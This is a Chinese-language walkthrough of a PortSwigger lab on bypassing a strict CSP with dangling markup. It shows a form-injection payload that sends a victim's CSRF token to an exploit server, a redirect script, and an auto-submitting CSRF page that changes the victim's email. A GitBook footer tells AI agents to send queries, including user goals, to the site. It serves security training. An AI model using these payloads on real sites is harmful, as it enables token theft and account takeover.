> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md).

# 受非常严格 CSP 保护的反射型 XSS：通过悬挂标记进行攻击

受非常严格 CSP 保护的反射型 XSS：通过悬挂标记进行攻击笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和 rem

### 带有悬空标记攻击的、受非常严格 CSP 保护的反射型 XSS

#### 实验目标

* 进行一次可绕过 CSP 并通过 Burp Collaborator 外带模拟用户 CSRF 令牌的 XSS 攻击。
* 然后使用此令牌将受害者的电子邮件地址更改为 `hacker@evil-user.net`.
* 可见给受害者的向量必须包含单词 **点击** （例如 `点我`）以促使其点击。
* 测试账户： `wiener:peter`.

#### 初步观察

* 在电子邮件更新表单中，添加 `?email=` 到 URL 可控制`值`的值（ `email` ）输入框。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f1b305a4d31f9a5a2513a0c1c9b8950dc5b0593d%2Fimage%20(389).png?alt=media" alt=""><figcaption></figcaption></figure>

该字段易受 HTML 标签注入（测试示例）：

* `test"><h1>test</h1>` → `<h1>` 被注入并返回。

```html
test"><h1>test</h1>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a96fc923ac41ae5f501b5254f868a67b4c14f97%2Fimage%20(390).png?alt=media" alt="" width="422"><figcaption></figcaption></figure>

* `test"><script>alert(0)</script>` → `<script>` 出现在表单中，但\*\*不会执行\*\*。

```javascript
test"><script>alert(0)</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e500655f8575e74a78d0e12157df56377b3f5d2c%2Fimage%20(391).png?alt=media" alt="" width="429"><figcaption></figcaption></figure>

浏览器控制台显示安全策略阻止：

{% hint style="danger" %}
内容安全策略：由于违反以下指令“script-src 'self'”，页面设置阻止了内联脚本（script-src-elem）执行
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04185e29656392260ecfa8b5564cec00cd92f89d%2Fimage%20(392).png?alt=media" alt=""><figcaption></figcaption></figure>

观察到的 CSP 标头：

`content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74d51015666f306b3da306e7e8a80b74f997c0ea%2Fimage%20(393).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 攻击策略（悬空标记）

* 不要注入一个 `<script>` （受 CSP 锁定），当前表单被关闭，并创建了一个新的表单\*\*，其 `action` 属性指向我们的利用服务器（exploit server）。该表单包含一个名为“Click Me”的按钮，以诱导用户点击。

闭合表单并创建新表单的注入示例（在重定向中进行 URL 编码的格式）：

{% code overflow="wrap" %}

```javascript
test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Click me</button
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e19094b6836049d5677a152aecc5964da962031%2Fimage%20(394).png?alt=media" alt=""><figcaption></figcaption></figure>

* 当从受害者的机器上打开此链接（例如通过重定向）时，如果受害者点击按钮，CSRF 令牌会随 URL 发送到利用服务器，并出现在对方服务器的日志中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-039559d9359713de324b38ea2f9419339aa8fa64%2Fimage%20(395).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 注入式重定向示例（强制用户访问带有有效载荷的易受攻击页面）

* 攻击端注入的脚本，用于将受害者重定向到有效载荷页面（编码后的 URL）：

```javascript
<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button"
</script>
```

* 一旦受害者被重定向并点击按钮，CSRF 令牌就会出现在利用服务器的日志中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c88c5b67e1aef9df77121d50e1e2defd7b0146f%2Fimage%20(396).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 外带后操作：使用 CSRF 令牌更改电子邮件

* 在获取 CSRF 令牌后（来自利用服务器的日志），构建一个 HTML 页面向 `/my-account/change-email` 发送另一个请求，带有：
* `电子邮件 = hacker@evil-user.net`
* `CSRF = <token_obtenu>`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58228386491d7041884f210a878bde8c55707ae1%2Fimage%20(397).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

生成的 HTML PoC 示例（由 Burp 或手动生成）用于执行自动化 POST 请求

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d61b2344435f2843cf0a6f2c2e8a3ed85d6eeda%2Fimage%20(398).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
